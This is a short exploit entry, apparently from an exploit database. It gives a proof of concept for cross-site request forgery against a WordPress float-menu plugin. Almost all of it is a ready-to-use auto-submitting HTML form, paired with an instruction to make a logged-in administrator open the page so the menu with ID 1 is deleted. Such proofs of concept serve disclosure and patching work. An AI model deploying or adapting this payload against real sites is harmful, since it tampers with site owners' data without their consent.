Share
## https://sploitus.com/exploit?id=WPEX-ID:C42FFA15-6EBE-4C70-9E51-B95BD05EA04D
Make a logged in admin open one a page with the code below, this will make them delete the menu with ID 1:

<body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/admin.php?page=float-menu&action=delete-items&action2=delete-items" method="POST">
        <input type="text" name="ID" value="1"/>
        <input type="submit" value="submit">
    </form>
</body>